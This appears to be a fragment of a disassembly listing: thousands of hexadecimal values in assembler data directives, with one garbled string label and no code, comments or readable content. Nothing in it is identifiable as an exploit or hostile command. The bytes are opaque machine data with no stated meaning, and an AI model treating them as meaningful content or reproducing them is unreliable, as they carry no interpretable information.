15019CA2h, 987BEF4Eh dd 99F4D80Fh, 0F5B9280Eh, 4BD91DE0h, 8B1F4025h, 81A38FA4h dd 0A0B1AF60h, 0C57936FBh, 24107BA1h, 22981DD8h, 71A9BD0Ah dd 7644B8A4h, 19626740h, 810F89E4h, 44EB6D92h, 0B082D597h dd 25FB2184h, 6C4ED271h, 36775C7Dh, 1359B100h, 6C44DCD7h dd 7F5E7B75h, 0CB100417h, 88707DADh, 51032AD4h, 88274CF7h dd 0BC90C4C4h, 442BFB99h, 9814087Dh, 2254A921h, 95F00377h dd 5145DEBCh, 0EA6848E0h, 0D7AF9909h, 10BC0994h, 0C0951428h dd 0F3BB1DA1h, 5D00F440h, 0DD1A8DE4h, 28931h, 29B0FED0h dd 0B45CC5EEh, 8D1588C6h, 71BA0039h, 7297FBCFh, 1600A0A9h dd 0F4E60857h, 7D29F2h, 1615FCCh, 42386698h, 7BFEA574h dd 0E99E3732h, 6846EEh, 4803C008h, 579E13DFh, 0E99C6F1Dh dd 0F71D7BC5h, 2F7ED432h, 30DE97E5h, 499F35D0h, 6F008C7Bh dd 230F20DDh, 601556DEh, 0EE3B190h, 477F9F10h, 330D5B09h dd 4F01057h, 53C200A5h, 0C4AE456Ah, 3700A35Eh, 983B72B5h dd 7F056DFh, 9DB6778Ah, 39B3769Bh, 72FE6800h, 8B65EB12h dd 0F7A324EEh, 24414FA4h, 88979AF4h, 808BF918h, 34482E66h dd 0A66051BBh, 74B2B549h, 0BAA300BCh, 9DE5020Fh, 0B0040523h dd 0B9F0BF87h, 3DF8BC8Dh, 2CDE38AAh, 98C4B30Ch, 0E4997019h dd 0CF105E07h, 0E400DDDAh, 149603E1h, 0F4CEEB5h, 0E6DA16FEh dd 7E9EE414h, 219A080h, 0D0BF9A30h, 40E6ED1Eh, 0AD32A1C0h dd 1CBB321h, 5EC6CE2Bh, 24336C9Eh, 38046A3Ch, 0EDA7A570h dd 0D4328484h, 20C1332Ch, 9B84177Fh, 2DEF28C2h, 0F6EC1810h dd 9FE97701h, 887DB8B7h, 0F10CEC8Ah, 7FBE8794h, 7818F9D6h dd 2E1C982Fh, 300ECA7h, 24CD8CFFh, 2239DD87h, 3170C531h dd 0E8F4A036h, 4188004Eh, 5482802Ah, 0E20F8465h, 410C6432h dd 0BD15693Ah, 75AA7C00h, 6F249B50h, 721788h, 2F01CC3Ah dd 1AC777E3h, 88FAE1Dh, 0C95526C0h, 61C6186Bh, 7011E9E6h dd 401C2502h, 0FB7ECB08h, 0AC7C2150h, 0F6F8E6B0h, 0F879A8EFh dd 0A03FF31Fh, 0C1E62100h, 0F802A8E7h, 8DB2409h, 0F7900676h dd 8022387Fh, 71AA148Dh dd 742258A2h, 493E9200h, 25DD4B18h, 4E0B0FCBh, 0C4B4C67Dh dd 0A10FA986h, 9D5820F1h, 0B018C18Ah, 724824h, 56F0C28Ah dd 2E7E7A74h, 14502C38h, 11F49E24h, 11037D21h, 6CC65FBAh dd 7600117Eh, 711B6020h, 16662D1Ch, 1364607h, 15D8B7A9h dd 0CE71808Ch, 55D329B4h, 2A68CFC7h, 0E2C4BB2h, 91B80FDh dd 48DA41E5h, 522CCCEEh, 6FA60968h, 30B84013h, 0ED007573h dd 0BBF3E281h, 0B90108E5h, 3583B850h, 69405E82h, 27CB6888h dd 704C3B30h, 0B1C65C62h, 578F07A0h, 7B4AE04Bh, 163059E9h dd 9984A9A8h, 53650067h, 0E2FFE8FBh, 0F000F545h, 7F5D41B8h dd 98D77415h, 668E4460h, 0A688CB74h, 0EE550137h, 0A3F0C035h dd 31032FBh, 1254DC99h, 152DF898h, 0F5670B6Ch, 58106FB1h dd 380F4039h, 0A0AEBC06h, 124D21D9h, 0CEEE1199h, 39A7006Fh dd 3D14EDD3h, 0B3E9076Ch, 0D08FF39Fh, 0AD4B1061h, 53585409h dd 2DF4809Eh, 1712B3Fh, 7F62FA4Eh, 348B6648h, 84B991DCh dd 561FDB80h, 5454EA11h, 13B0C6Ah, 2E20D543h, 0F271E2E3h dd 7C000862h, 0BEF7A46Ah, 0CBAA11CFh, 5C14A3h, 0DEAF4E14h dd 0EE922CDCh, 3652C800h, 66954237h, 9D431626h, 0B8782051h dd 76020B01h, 32159252h, 670CE0A6h, 4DCA4CBh, 3DD70379h dd 0A5B4C243h, 3EE96E20h, 7D497A14h, 5C241E55h, 43258506h dd 8CCCC595h, 42861D10h, 0CBF70325h, 3B7BC582h, 45805811h dd 0AA368972h, 0DC1E335Bh, 51CC981Ah, 90A95895h, 69D304F8h dd 4C7837FBh, 4D10FCh, 0D574949Eh, 9B3152C4h, 0B1985E05h dd 20C03ECAh, 0B9B783A3h, 0B5EE0B60h, 2D8E888h, 0CE36251Ch dd 9100E8C4h, 77A9C992h, 299D04h, 8933C534h, 6D73BD39h dd 0E12F323Ch, 0CE0D4E70h, 14F08EE4h, 0D4127B6Bh, 0E28C6CAh dd 0E800A455h, 0B8E63E50h, 0D3C93Ah, 4D9DA68Ah, 80DB33h dd 0C18FA8D6h, 4EFD5616h, 0BF2DB038h, 52B480C2h, 15FA6B98h dd 0AC9F2E53h, 9C0B601Ch, 7000EFE7h, 4B6D415Eh, 0F0E820h dd 0F3A6249h, 345C5AF1h, 70722405h, 8080BE88h, 94EE690Bh dd 33FE41F8h, 2C67F41Bh, 0CF1D7402h, 0C60DD6D7h, 0BED300F8h dd 0A3EB5887h, 950A4989h, 787450E9h, 0FEF6A443h, 0C0707611h dd 35710119h, 0E4009AD4h, 257A235Ah, 0C8863430h, 3F808EC8h dd 878D0752h, 0D171C8h, 0A6B43D2Dh, 7CB9AFD3h, 1BD85805h dd 0ECC86FADh, 34D50694h, 0D0986059h, 280108A1h, 0A74DC7D4h dd 0C388A4Fh, 915CA200h, 2A9C9DD8h, 44442D75h, 4B00F095h dd 19C6A7E3h, 0D5F173h, 0AA3259A5h, 99787623h, 60925176h dd 3A8BE500h, 84F77472h, 25370FE9h, 7BC0DC9Ch, 12557DC8h dd 0C54F9E14h, 65410040h, 0FAD4459h, 900A770Dh, 82A3111Ch dd 72AA0D91h, 9DC861AEh, 914F76A0h, 0E93B0454h, 0B470C23Ah dd 5D909827h, 9C812374h, 0E9E911Ch, 80142E72h, 0A174D841h dd 8C4D0096h, 6AF1ED27h, 0AE2E9EA2h, 0D250C09Ch, 3C2D88FAh dd 79D9F603h, 0D82BEB49h, 0B15197BDh, 3703F88h, 0FC4E5E8Ch dd 0DBB0F5DFh, 0A70A44A1h, 4886397Bh, 8B008F11h, 726F4676h dd 0B00E025h, 9CC9589h, 1D73A247h, 0D54B08h, 0A99D50EFh dd 39CBA071h, 0F8B38136h, 2833022Ch, 0BC808F22h, 86792BFFh dd 0B711689Ch, 8B73BC4Ch, 748077E2h, 0B0E699F5h, 0A2056D05h dd 8C825369h, 4DEE238Dh, 0DC371001h, 0B886F676h, 8A3F0880h dd 7A4B840Fh, 33F4A100h, 0B25B55A6h, 0F2EC0094h, 0F9053247h dd 60C6538Fh, 3139A1AAh, 0DC0860EBh, 90A6013h, 0FED90F00h dd 0EC6F4FB5h, 7DAF003Eh, 80386850h, 46609B22h, 0F35BDB30h dd 0FDD91F98h, 0A59130ACh, 9303A997h, 88F14B59h, 0DD74C836h dd 63C97875h, 0DE7668F4h, 4FEE8597h, 0F308FC08h, 0C11FE243h dd 0E310FAE8h, 94000A58h, 979DF1AFh, 0E8669824h, 792060ACh dd 0C8FD3F46h, 0DF443706h, 741933ADh, 959A00CDh, 0C7A7776Dh dd 0C1E46BEh, 5880D24Bh, 0E4FA1B1h, 79940C3Dh, 0F671AD90h dd 9337500h, 74BBEA7Fh, 4D9B2EE1h, 0AFBF0AFFh, 0E97C809Ch dd 0F5396AAh, 0D9994C03h, 2AB17Dh, 51E0F341h, 894BAA77h dd 0FCB48D3Eh, 85075600h, 0C390E220h, 0BF470096h, 5AD779F4h dd 73007461h, 0B3EA533Fh, 0A8703428h, 303C7ECCh, 8F79CE87h dd 1200D661h, 0FB9CABC2h, 0B7415924h, 65502158h, 0D4527460h dd 0E0D91FECh, 73FD0B00h, 0AF99A2h, 0CC39A18Ah, 2457B29Bh dd 0DA6E6300h, 0EBFDD49Eh, 0A739C06Ch, 72DF47C5h, 815D8D00h dd 0D9D6E137h, 0A5440AB1h, 60C0961Ch, 0FD8D5B19h, 0CEA26800h dd 0BA7048FFh, 0F97C0339h, 1EEE1D79h, 0E3390886h, 48490657h dd 1F74200Bh, 64B406h, 0EE41F8Fh, 0D000CD7Ah, 49F78681h dd 30664E63h, 2E49FAC0h, 0D300D49Bh, 41B55F14h, 399E05h dd 0B3D89F61h, 2045A364h, 31EE418h, 0A2EC71h, 792F9450h dd 30156260h, 0AE1FB03h, 0CE3E89Fh, 51ED258h, 2200D931h dd 86412FA6h, 29ABDDh, 85309669h, 113A439Bh, 83D21F03h dd 1DEBB60Ah, 40F66341h, 0F0582AB7h, 62196117h, 9B693841h dd 34FF27CEh, 0D5172178h, 1180D921h, 0FC2E366Ch, 99DC60FDh dd 59622703h, 0D3480828h, 0D580FF8Fh, 9C67865Ch, 2178006Dh dd 3062372Fh, 0E100E05Dh, 0A02299E9h, 3032EEEBh, 0D9402761h dd 0D0E624Dh, 0A37D17D6h, 0E1F7892Fh, 80933A60h, 206C0E79h dd 21043CA0h, 3102F8F5h, 7C920694h, 49CC8372h, 9D99D883h dd 4A3B39C6h, 0DD01CFA2h, 9A544082h, 7A30CB8Fh, 6A45391Ch dd 0F7E9B783h, 90001834h, 2AB5D8A0h, 4D7086h, 0A5576649h dd 39383D4Ch, 51E56531h, 0A886D883h, 0C023317Ah, 0D1686C00h dd 4E1CE707h, 0B5E300A8h, 4DC8AC3Ah, 0D80CA9B1h, 40D3EE10h dd 49FC60C1h, 0A4B9F1B2h, 0E17D9600h, 0B6E017Bh, 50627592h dd 40B1909Dh, 0BA2A0A35h, 4E03B0E4h, 4923B20Eh, 6A3A910Ch dd 0C0DE6422h, 0F3870D57h, 0CD0BFB5Fh, 0DD2CB5B3h, 92E45484h dd 0D223E810h, 0CFB2C0A8h, 6D878ACh, 90D9C76Fh, 210021FCh dd 304D7324h, 78175991h, 6512064Eh, 71081E54h, 0F2861B00h dd 237E531Ah, 2A300032h, 8B1096CEh, 4005F80h, 49704767h dd 6C246918h, 0FF683971h, 0EDA988h, 0F3DB93FAh, 6032A67Eh dd 387DEF00h, 4FF9869Fh, 4640163h, 3CC22448h, 7D38878Eh dd 34F4FCEDh, 653A1490h, 0E788ABE1h, 0A1938D6h, 27DA0CB4h dd 69B4580h, 31FEC13Ch, 2DBBE502h, 435B822Fh, 2860C120h dd 551A4180h, 4443C27Fh, 7010810Bh, 7E970E4h, 2C09E874h dd 907FA149h, 0DE5987FDh, 0FB205739h, 0FDDF8CEh, 0D7CFC969h dd 0A10A23E1h, 0B8404792h, 2109C780h, 1DCA0CB5h, 8EF36473h dd 7440264Eh, 71A4D112h, 70115E00h, 1C637D7Ah, 9DCD1CF8h dd 4943436Ch, 0C1D23F7Eh, 9000844h, 3A9880E2h, 4D71F2h dd 8AEFE677h, 0D7C07E39h, 1D1EB712h, 0E7F16401h, 38CCE1F0h dd 7E1B2AB9h, 601900D0h, 7480AE2Ah, 0F833DF85h, 14085Ch dd 2A673821h, 8C88846Ch, 2CEDCA03h, 14A7CE60h, 0B81B4AC6h dd 0C3857E00h, 1303E8F2h, 6196EE0Ah, 3D80AC1Eh, 0AFD138B1h dd 7DBF0CBDh, 0C08A5B8h, 227821CFh, 46F3C438h, 14CF039Ch dd 1ADAB5C0h, 0A79B69E8h, 68E51F17h, 6A81D302h, 0D6A469A5h dd 622A64C8h, 0D5078811h, 86830840h, 0E8048B1Eh, 62991FC1h dd 30901229h, 41923CD8h, 70EED010h, 8D3730ADh, 1A140AC0h dd 0E6202860h, 0C28217ACh dd 157E7419h, 0AFFCD000h, 0C78A095h, 0C04F7A8Ch, 1029B610h dd 0A90E2B6Dh, 8050CD76h, 0AF1D5C3Bh, 80090060h, 1C27F9EAh dd 7100F866h, 7267475Bh, 4E7F99h, 0C539599Ch, 0ED602885h dd 3208B566h, 0AB2C0021h, 12F9CF59h, 7C02A968h, 66458979h dd 5E6E0060h, 97F8C3Fh, 4A6CB900h, 0E28DA2DDh, 934509AAh dd 55CB21h, 0C9464EEh, 7A9A7B6Ch, 0A6139EAh, 4FECC503h dd 0E1975774h, 825395FAh, 0EFF48318h, 0DEA90077h, 4F06726Eh dd 9A091D7Fh, 39F078h, 6B98A737h, 14764A2Bh, 30082063h dd 0D420007Ch, 3183A7CFh, 5A3C66D3h, 5C4B8528h, 0EB83E4EDh dd 3B900108h, 673E3288h, 99598EEBh, 0CCAB86C5h, 1FF049h dd 0E676360Bh, 0FEED55D2h, 75082A66h, 0F3200021h, 519A4836h dd 40C9D14h, 510508E4h, 65D60045h, 0E1BCF0E8h, 0B501467Ch dd 0FA71C9CBh, 0F082739Dh, 75B7C56Bh, 0A8980603h, 61E6B802h dd 93689831h, 6B804036h, 6A608BE5h, 5FBF7228h, 0D91B0E06h dd 20C0E2EBh, 3CC0A38Dh, 5663E500h, 0C7044A32h, 0EECC00BBh dd 0FF9FB6CAh, 49013061h, 6AA421C6h, 27D45B9Ch, 29E13B23h dd 7EE65000h, 0F7567D30h, 3D6583Bh, 1419BBF6h, 78A79821h dd 0BF4300D5h, 53932686h, 8E00A21Ah, 28AC8967h, 3CE2D605h dd 7900C75Ch, 31B09AFh, 6B014261h, 5671D101h, 219658E2h dd 1EDEC30h, 3BF747CDh, 2FC26D1h, 0DBB8DFh, 50C4499Fh dd 463999F9h, 0B0447A00h, 37243D75h, 0C36178E3h, 45B13F49h dd 6A0E30EEh, 2781AA50h, 4B014002h, 227064DDh, 1A7C01F9h dd 910F94FCh, 8554E061h, 3A0BC007h, 36964C3Dh, 0FEF87C58h dd 0D74E0178h, 0DFAA67E5h, 0AB81FBC3h, 426AFC0Ah, 324D3048h dd 0C0FA304Fh, 63E8C2Ah, 0BEAF81E2h, 0E53A4EC7h, 0F43C7F6Dh dd 0CE8A0795h, 7CC6AA5Fh, 0F5A800A8h, 0FDA18F69h, 7AFE723Fh dd 8391FB3Bh, 0A23792E4h, 0D420004Dh, 76D0E01h, 2B005880h dd 8846270Bh, 0F73AD2DBh, 694CC0h, 6D7ACB1Ah, 2E58A3A2h dd 27880B00h, 427E903Ch, 0B2B7584Eh, 0DFFB2200h, 6613167Bh dd 702EEF00h, 10F8968Eh, 5880E723h, 25E7D2DCh, 4C016F16h dd 34523B76h, 1880A3A4h, 74EF7FD8h, 0FA00E287h, 61CC8F63h dd 60483C52h, 8880B04Eh, 1F1FE0E5h, 4F80E623h, 4A9BBCBFh dd 3AD63B40h, 0F47C200h, 4EB075ADh, 0D44D7906h, 0EF0A1A0h dd 0CB7BAA14h, 391A9AA1h, 6518808Dh, 274B5730h, 7E23705Fh dd 0C67B1D0Eh, 0A8370187h, 0E54EBA8Ch, 4DA84054h, 0D000C9Bh dd 7ECF1896h, 0B6F2FDh, 146AF62Dh, 0AE29C1D7h, 0DAA9C60h dd 90583Fh, 2F4F8561h, 0E6F22592h, 108AFB32h, 0E10497FAh dd 81E9FB64h, 0C3541710h, 90D72DF4h, 2A99EDh, 835D976Dh dd 0AD0564F0h, 99898F3Fh, 129DD41h, 2020D308h, 11094282h dd 8511EE54h, 43D218F2h, 88A1BD51h, 0B989D07Eh, 0D9732810h dd 0FAEB305h, 44C04FB5h, 0DDBF11h, 510A3148h, 1ABA0109h dd 4D25E80Fh, 0A8F5E019h, 9B4FD4h, 0DB9C872h, 2466B5B0h dd 4A745A00h, 0F8377D63h, 1F3760Fh, 8E68C9EDh, 0C4EF552Bh dd 0AF004D0Ch, 9B39EE53h, 0F2EBD3B5h, 25F80FF9h, 65C0E355h dd 0B91CAA11h, 170EF7E8h, 83242AFCh, 80913CC5h, 0CDE85Bh dd 621F1018h, 19EB075Eh, 43C94EAh, 31498563h, 0BC211429h dd 0E8FC52A2h, 36A73D2h, 963F9B67h, 0EA8B94EFh, 0B6E41101h dd 5CB7C798h, 0F82DC0C4h, 8231031Eh, 0B10FCD23h, 0ADECDCA0h dd 18F24800h, 66C3A3BDh, 63C91F7Dh, 0E28480D5h, 0AC075455h dd 115C39h, 29A4EA9Eh, 67D34199h, 50C0A84Ah, 42B3F5ADh dd 8A9B5E80h, 0ECB7C0DDh, 414418A0h, 9158F822h, 0EF6DF500h dd 0A84F907Ah, 278A00F1h, 70B65374h, 0D207C326h, 87C313Bh dd 0FAAA61C0h, 34E30035h, 4E87D7E4h, 0B811986Fh, 23007C79h dd 0A11497FBh, 0ED3E1B04h, 48B79D58h, 0BB0E280h, 56B605h dd 864997C0h, 623CD07Ah, 360D6700h, 91341FD8h, 0AEA20096h dd 0A3D384CCh, 0FA00597Dh, 6EA61B62h, 5B166h, 75E21587h dd 0AFCBF1C8h, 8B570600h, 9EB34C4Dh, 0E3B02862h, 3D5F7588h dd 41383EFEh, 45C590Eh, 269AC4A0h, 19005DDBh, 4B3DE196h dd 3E69B6h, 6F491DA2h, 0C9EA2F04h, 353BD900h, 0C93CEE5h dd 0F02FEA0h, 4874503Ch, 0B47529A0h, 1B28A5CAh, 8175B447h dd 0C99BE100h, 7D165D34h, 38C601FCh, 113993F4h, 0C3F0CB09h dd 0DD00726Dh, 2478E6D6h, 1577CFAh, 0E08EDAD3h, 0D7BC1845h dd 0F17DF891h, 70782065h, 6303877Bh, 12C6C4A6h, 0B050003Fh dd 5CCB78Dh, 2092A93Dh, 9632758h, 67900Fh, 8495BB20h, 5D3502EBh dd 79FB079Fh, 66B84C6Bh, 18001BEDh, 15E57348h, 0ABF2FEh dd 0FC5B9F7h, 2483A46Dh, 236CD03h, 0B71D2B84h, 0DC68D7D0h dd 0A622391Fh, 0F605200h, 6E72A855h, 0ABE2A11Dh, 632C4FC0h dd 16328D6Bh, 0AC236D70h, 0E2530F4Eh, 997D20D0h, 0BB7E25h dd 3C15446h, 26ACFE33h, 0CC007892h, 1F8BF55Ah, 24615565h dd 3640669h, 0A00E8349h, 24035788h, 809AE73Ch, 750BD57Ch dd 0AB1B28h, 4907986h, 0D2303F01h, 9B455200h, 483B7C94h dd 0E45A03CAh, 0CCCDBF8Dh, 806C0D90h, 871D0C00h, 0C4B9E6BEh dd 5837006Eh, 9F4FD2B8h, 0E2003DA6h, 8594E0C6h, 7CC999Ah dd 42EC650Bh, 87F7A0C8h, 53268313h, 0C22C26D5h, 700E1E07h dd 0C0A14FAEh, 32192281h, 16170077h, 7F02691Bh, 0E672C10Ch dd 9A0B0912h, 0EB40A01Fh, 562E8755h, 22D61803h, 38151899h dd 80BBD33Bh, 0A66D8872h, 38FEF1Ch, 0B8706749h, 94D0DB8Bh dd 8100549Bh, 0FBCB103Fh, 142F09C7h, 9BB250D8h, 41008B3Eh dd 18203271h, 0BE00F7CBh, 43EA48DEh, 0E54B0Ch, 0B5CCC269h dd 3D019C9h, 5EDF5601h, 0F34E7A2Ah, 3F8291DCh, 9800EFDDh dd 0CC242EC2h, 0D400B701h, 9E6C205Ch, 70907F0Fh, 16873A86h dd 3C7DF303h, 0C1FA32A9h, 0BEEE7C60h, 3C68F95Ch, 0A77801ECh dd 0C3DA57E4h, 0C727970h, 7F4A55Eh, 74009EA8h, 0B4E99C3Eh dd 1F64235Ch, 80FCF2DCh, 1E82EDB2h, 75007747h, 15E117CBh dd 1F3A9D23h, 7C41281h, 0DE3E07A1h, 0B9D101E0h, 0FF00A2DBh dd 27F6AE8Bh, 4D419Bh, 352684A6h, 16CF5387h, 7F8C7400h dd 1BC73D1Fh, 4B664C29h, 3EC08040h, 0EA000255h, 19B11E6h dd 0D00272Ch, 8712D373h, 0FC57145Dh, 6F5F1232h, 0CF36001Eh dd 29CE6B3Ch, 0E4EA3EFEh, 0F38A5400h, 13906E9Fh, 0CA1812C1h dd 510B0F16h, 0A6E4A580h, 5F16C238h, 0E800FEB4h, 726C0324h dd 69B000B3h, 59761EC9h, 2C92778Bh, 496DAF05h, 55C4B324h dd 0F20370C0h, 50D60E73h, 0C3257EECh, 58D4C09Ch, 6A062AF6h dd 941BB024h, 0D0B30138h, 0FD8AB533h, 0ED0DF0FFh, 0BA4F4100h dd 49C929CAh, 460005Dh, 0A733A150h, 9F00A2A5h, 4280220Eh dd 0D290DFh, 0EBA47D1Bh, 0B6277169h, 0F9F43D00h, 13C89422h dd 58CB00D3h, 0FCC975A5h, 0CA03208Ch, 520FBD53h, 809EAA68h dd 0DB472492h, 4CD000DFh, 0B255AAE8h, 6402D489h, 68C6EF45h dd 0D1006704h, 0A8220D6Ah, 0F894A901h, 50BF03D6h, 46D337B4h dd 0BCB27F00h, 0D094A531h, 3B20FFC8h, 91F400BAh, 0F1744790h dd 1800A2B1h, 48547C70h, 62FE76h, 285EA4C9h, 400A91F3h dd 95779700h, 2DCB0461h, 3DF818h, 31774D6h, 894145E6h dd 4F863B01h, 9DBBD26h, 0E94E80D7h, 2D2F0095h, 37292C77h dd 0DBB0E8C8h dd 0C11C9DFEh, 0CF002832h, 6D73B330h, 2DE421h, 0ED44567Ch dd 0E69BA60Dh, 0BFBC5003h, 984E5C9Ch, 9DEB31h, 97C360B9h dd 4906BB76h, 7B032800h, 6933A53Eh, 0ADCC0087h, 0C737D61h dd 0E602DE91h, 3CD7126Fh, 0F5CC802Bh, 6EDEABFh, 604EC3DCh dd 0E800B861h, 3892A7B1h, 3B442794h, 451E80E4h, 3756C0E3h dd 20888A79h, 0E7F2F00h, 8361783Dh, 39CB3431h, 71CC0292h dd 3D108D35h, 7EAF03EDh, 2FEC7B49h, 0FE78B9A8h, 84453B39h dd 0AA7A169Ah, 23C09980h, 0A39C0058h, 0F4B036DFh, 0ED00B6DEh dd 0AD5278FCh, 359677Eh, 0C7336F2Bh, 0C8002869h, 1F9F16E2h dd 12CCA2C4h, 5E47DA2Eh, 0D0BC8000h, 5B976461h, 38CDAB00h dd 8FBB039Ah, 0CC714CB0h, 57A21E00h, 0C50B1B7Fh, 0F3D16502h dd 500913CFh, 0E51E0024h, 2345CD2Fh, 0B400A221h, 0B62BE2BCh dd 943ED410h, 0F2580048h, 0D7943D7Ah, 6D3BCF00h, 0BC2AA085h dd 79C10703h, 0B0637E31h, 0BD026646h, 36384276h, 0E0D800B7h dd 0C9059E1Ah, 0C1CD0080h, 60CB4D43h, 0C004F670h, 0F07A8433h dd 0C4191883h, 37184B40h, 0BC2647C3h, 0B4001C15h, 0C8DF2B6Dh dd 0A4950E3Fh, 986F9D56h, 4D59B80h, 3C038028h, 49DB32B5h dd 835000F9h, 10C21AE3h, 0D300B4A7h, 0F181B3D1h, 4C9B29C8h dd 0ED3ED035h, 56E5EB03h, 0BCF83C92h, 7303A3B0h, 803D4B75h dd 0FC6D90F4h, 265A0EA1h, 6F6FAF0Ah, 59DDEDFh, 80838FD0h dd 2FDB4088h, 0AFB28200h, 5FECD9BFh, 3919004Bh, 0A6B3D317h dd 0EE021BCFh, 596F85A3h, 0ADE4C0EDh, 1C9F820h, 89C14BEBh dd 0D46B8B7Dh, 64004C4Ah, 0D0910BC7h, 586EB3Ch, 0F409D4EAh dd 399C003Fh, 0F8052B98h, 8E9B4B3Ch, 0EAC08h, 933BBF62h dd 28EB1Bh, 847A23EFh, 0B10C2E9Ah, 8180BF2Ch, 0A2B02761h dd 0E863D5EAh, 8FC2B500h, 703414CDh, 92E2491Dh, 46902500h dd 0E5BD9F0h, 0D1A26C19h, 8080E7C4h, 0E1EEBC60h, 52D52912h dd 0F5455800h, 5944EDFh, 6E4199A9h, 147BC0E9h, 6C00D046h dd 650732E8h, 4BB9150Ah, 971C5F72h, 0CCED0039h, 0CBA43181h dd 80DBE33Ah, 286EAA98h, 98F5F24Ch, 237700A0h, 0D9ACE04Eh dd 8090FF3Dh, 8900A0E8h, 1161EE34h, 0B37C95h, 0A84ED104h dd 6ECBEDDh, 8A2F1612h, 6B1C7400h, 454A321h, 0A0079FD4h dd 4870A058h, 5C7EC778h, 0FC95C018h, 4B1B70h, 35A4E484h dd 45C97D65h, 0B168D600h, 96CBBEB4h, 24A7037Fh, 0CE8BF7E3h dd 0A07C9000h, 11057BC3h, 3AB70034h, 40A1254Ah, 7830BF04h dd 62107116h, 0BDC900EDh, 0A7ADB480h, 0FB008109h, 59C62065h dd 0FF7A1A4h, 6813166Fh, 76DEA000h, 27E88BD6h, 8047BC3Bh dd 888F4ECh, 2ECAEBCCh, 40F4BDD5h, 0FE2E64D9h, 0E15C5700h dd 778922EDh, 0DCD20629h, 0E0E22651h, 7BA73F00h, 82A2BFEh dd 917A55h, 7273D774h, 3A1AF07Ch, 0ACB23B03h, 0F093F2DEh dd 5F2DF7h, 503818Ch, 1CDDB8FFh, 320C3500h, 0F1C794A3h dd 8EFA01B2h, 0A475E248h, 6B1BFC58h, 47042A77h, 4C9B7CF3h dd 0AB018083h, 0B4A1F061h, 859700DDh, 74434683h, 9303B90Ch dd 414990F1h, 0A85DABEDh, 0CDFA61h, 53D6FF70h, 0C562095Ah dd 0E209900h, 0E1FC073Ch, 0DDF0817Bh, 2EA6FC3Bh, 4FBC2C02h dd 48D9ABE7h, 73ACE184h, 0D302487h, 9D342424h, 0DF37896Dh dd 0BE54FA81h, 71126039h, 9AE81200h, 603A52A2h, 36CF0077h dd 0B044A962h, 1C99197Ah, 6D8C2E89h, 8AD742B0h, 1E50701Ah dd 12F13090h, 49A8C036h, 0DC0C97FCh, 280309E8h, 0F777C7h dd 0F92E2114h, 45D4532Ah, 782C5502h, 600840A2h, 0BF9618h dd 0C30DF9DEh, 7E1FAA8Dh, 5F310A00h, 25BDA476h, 0ABEA18h dd 79C0FF98h, 0C7F936C8h, 670648h, 338312DCh, 38D408Eh dd 5638DFF4h, 82DB150Ch, 9536BF8h, 0F3902000h, 52B4B0A6h dd 0EC3B1CB6h, 0FC0AC0B1h, 26D614D7h, 53E0130Fh, 0E3AF20F1h dd 9EC0F22h, 60FFF584h, 9CAA9802h, 0E66D3C60h db 0, 8Fh, 0CFh db 0E9h aTq db '´;¸Tï',0 dw 5F6Ah dd 16A838DDh, 0EB3B55E2h, 7AAF006Ch, 17F0C21h, 3F850048h dd 8C829110h, 130734DFh, 0C35F4546h, 0D48F66B0h, 53EC0041h dd 0C9422773h, 7F00020Fh, 54B73E87h, 90701C5Dh, 269600A5h dd 0DD18E85Fh, 0E31EB610h, 0F64017FCh, 985AADE1h, 0B1E4EFh dd 3F93B463h, 4183736Eh, 0CEB5B300h, 0A410605Fh, 0E5F80094h dd 2E8413E7h, 8F00F3A3h, 436E7EB7h, 9F8370h, 61C450Fh dd 0F25AFC11h, 0EA23A200h, 42058703h, 5DDB00EBh, 0B44FDF4Bh dd 0C100D0C9h, 0F80E47CAh, 81ACB8h, 643868CDh, 798A027Bh dd 2446860Ch, 22FC2920h, 70B0EAB9h, 0E4E8D700h, 658BB31Dh dd 8D64005Ah, 38EE1A3Ah, 0D8A03C8Eh, 8C1F3005h, 2C40DD40h dd 7EDFAF1Eh, 86E239h, 7A65A4FDh, 40E21275h, 6D4CF402h dd 0ACC87B74h, 0F2D510E4h, 18B00DFh, 810B5EF6h, 4400160Eh dd 15EB63D6h, 0B1E985h, 36F3C96h, 0A5184392h, 0C99F2B04h dd 1C906B48h, 74C8370Dh, 65640C75h, 13A19206h, 38E85C01h dd 2F71908Ah, 41780880h, 95E2AF1Fh, 0D935D00h, 82BCC467h dd 468B0110h, 0B01DB629h, 200840AAh, 2860CEAEh, 0A4C9A988h dd 0C83F0213h, 7A8C59C4h, 0E417C07Dh, 6F273E19h, 0FF130077h dd 90ABDCE9h, 0B6182F7Dh, 0E1C9E830h, 0EC08C3C5h, 98049238h dd 0D4D310CFh, 4C9B00EFh, 4F7FB107h, 0A95E2A1Eh, 3F908EF9h dd 0FCB600A1h, 3C89755Ch, 0BA92A54Dh, 30FABF0h, 7CE3A755h dd 0ADDEF410h, 3E0EC09h, 0A3F368EFh, 5DC88E5Ah, 4801738Bh dd 5F3D9A41h, 0C0CF33E0h, 0E029AE43h, 31980060h, 5185B891h dd 8801D969h, 0EEEB018Ch, 9BCC5F07h, 671501ABh, 99CFE057h dd 57D2087h, 6E969201h, 2F64B994h, 0E2D85BD1h, 649001Eh dd 517F8986h, 9D15CD67h, 84E354h, 3B0BC982h, 60E148ABh dd 0F7301C80h, 14077D0Ah, 4787F8BBh, 3CB038A3h, 6307C530h dd 0FE26FCDCh, 58A0420Fh, 1C777293h, 8232805h, 0EFBA381h dd 2005586h, 306E527Bh, 73D2F813h, 0B230D418h, 0FE67596h dd 0DB88EC5Eh, 0E9AAC463h, 0C25015B0h, 0A59C8700h, 332D016Ah dd 167A004Ah, 0D636066Eh, 97054C20h, 0CB613B77h, 0C400E45Fh dd 0B9C5ADA8h, 474E8B1h, 0CE15A6D0h, 6F449084h, 6201F3FFh dd 7E312B11h, 0C97025EAh, 174900DDh, 7D2871A5h, 0B700EFC5h dd 0BCBD36F1h, 4AA5CE6h, 97C483BFh, 0A8488BEh, 6D193F03h dd 3FA8CE22h, 0F700B861h, 0C82AC0CAh, 2800A215h, 63D0D576h dd 38BEF365h, 970AD326h, 94A83445h, 416087E3h, 3BAC1930h dd 10742D30h, 3E40596h, 0B09163B7h, 82FB3CD2h, 6EEC3900h dd 57A41786h, 34580008h, 0AA02870Ch, 0B10978D1h, 7F277B82h dd 627EB580h, 46788139h, 434DDA00h, 181190E1h, 0CDAD0014h dd 172701A5h, 7C035186h, 358CA7F6h, 0E21129E0h, 60DDF004h dd 43107860h, 656154h, 3EC822CAh, 635203BEh, 0D40C7FECh dd 200BB259h, 6EBC00EBh, 1E9609A1h, 4000279Dh, 92F54894h dd 2DA587h, 0EC2F7B42h, 55CEAA2Bh, 